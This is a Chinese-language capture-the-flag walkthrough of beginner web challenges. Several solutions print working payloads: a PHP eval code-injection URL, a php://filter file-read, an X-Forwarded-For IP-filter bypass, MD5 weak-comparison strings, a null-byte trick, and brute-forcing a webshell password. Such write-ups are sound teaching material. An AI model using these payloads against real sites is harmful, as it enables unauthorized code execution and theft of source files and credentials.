1、web2:
查看网页源码即可看到 flag
2、计算器:
发现计算结果均为二位数,但是只能输入一个数字。使用检查功能(F12)将输入框中的 maxlength=”1”改为 maxlength=”2”即可
3、web 基础$_GET
阅读代码发现需要使用 GET 方法传递参数,$what==’flag’。根据 GET 方法通过 URL 传递参数的特点,在题目 URL 后面添加 ?what=flag 即可获得答案。
4、wen 基础$——Post
同$_GET 题目,但是需要使用 Post 方法传递参数,使用 FireFox 中的 hackbar 插件传递参数值,如下图。
5、矛盾
代码中使用!is_numeric($num)函数判断 num 是否为数字,题目要求 num 的值不为数字且值为 1。所以构造值为一的非数字值。可以使用 1%00 (%00 截断符)构造 payload 获得 flag
6、web3
查看网页源代码在最后可以发现字符串“KEY{J2sa42ahJK-HS11III}”,该字符串为常见的 unicode 编码,可以使用站长工具在线解析,同时可以使用 html 编码格式进行解析,将该字符串直接复制到 html 文件中即可自动解析出原有格式“KEY{J2sa42ahJK-HS11III}”
7、域名解析
通过设置本机 hosts 文件实现无权限直接访问需要域名解析才能访问的 ip,设置 hosts 文件后访问 flag.baidu.com 即可
8.你必须让他停下来
打开发现网页一直在变,使用 burp 抓包,send to repeter 使用 go 逐一显示网页,即可看到 flag。
9.本地包含
源代码:
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>
eval 应该是此题的突破口,能够执行 php 代码。
hello 是接受参数的变量,接下来就是构建 hello 变量,使其能够闭合 var_dump,利用 print_r 输出
首先闭合 var_dump: 1);
第二步构建 print_r:print_r(file(“./flag.php”));
URL 构建结束:
http://123.206.87.240:8003/index.php?hello=1);print_r(file(“./flag.php”)
构建的 URL 触发的 eval 操作为
eval("var_dump(1);print_r(file("./flag.php")")
方法二:
直接将文件包含在参数 hello 中
?hello=get_file_contents('flag.php')
?hello=file('flag.php')
11.web5
查看题目源代码发现存在 Jsfuck,在控制台中输入该串代码,得到 flag
12.头等舱
使用 burpsuit 抓包得到 flag
13.网站被黑
查看题目 URL 发现路径十分的有特点,怀疑是通过上传 webshell 获得网站权限来挂载黑页。使用 burp 爆破后台目录,发现存在 shell.php。爆破 shell.php 的密码为 hack,登录获得 flag。
14.管理员系统
打开网页尝试登录后发现对 ip 进行了过滤
查看源码发下在最末尾有 base64 加密的字符串 dGVzdDEyMw==,解码后为 test123
使用 Burp 进行抓包,传递 X-Forwarded-For: 127.0.0.1 测试本地上传是否可以绕过 ip 过滤限制
绕过 ip 过滤限制后使用 admin 和 test123 登录得到 flag
15.web4
查看源码
<script>
var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62';
var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b';
eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));
</script>
按照最后一行代码的要求拼接字符串后进行 URL DECODE 为
function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;
在输入框中输入 67d709b2b54aa2aa648cf6e87a7114f1 获得 flag
16.flag 在 index 里
题目 URL 为http://123.206.87.240:8005/post/index.php?file=show.php 发现可以使用文件包含漏洞
文件包含漏洞,发现了一种伪协议的方法, 为了读取包含有敏感信息的 PHP 等源文件,我们就要先将“可能引发冲突的 PHP 代码”编码一遍,这里就会用到 php://filter ,可以将 php 中的代码呈现出来,具体用法如下:
http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
17.点击一百万次
查看网页源代码
<script>
var clicks=0
$(function() {
$("#cookie")
.mousedown(function() {
$(this).width('350px').height('350px');
})
.mouseup(function() {
$(this).width('375px').height('375px');
clicks++;
$("#clickcount").text(clicks);
if(clicks >= 1000000){
var form = $('<form action="" method="post">' +
'<input type="text" name="clicks" value="' + clicks + '" hidden/>' +
'</form>');
$('body').append(form);
form.submit();
}
});
});
</script>
发现如下
18.备份是个好习惯
使用源码泄露工具测试网站是否存在备份文件泄露的漏洞
工具下载地址(https://coding.net/u/yihangwang/p/SourceLeakHacker/git?public=true)
发现备份文件 index.php.bak 泄露
打开 index.php.bak 发现如下代码:
<?php
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>
$str = str_replace('key','',$str);
将 key 替换成空,即删除 key 字符串
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
md5 弱类型比较漏洞,构造 payload 方式如下:
①使用弱类型比较漏洞,常用字符串如下:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
这些字符串 md5 加密后的值都为 0exxxx 形式,即为科学记数法,值相同。
payload:
http://123.206.87.240:8002/web16/?kkeyey1=QNKCDZO&kekeyy2=240610708
②md5()函数无法处理数组,如果传入的为数组,会返回 NULL,所以两个数组经过加密后得到的都是 NULL,也就是相等的。
payload:
http://123.206.87.240:8002/web16/?kkeyey1[]=1&kekeyy2[]=2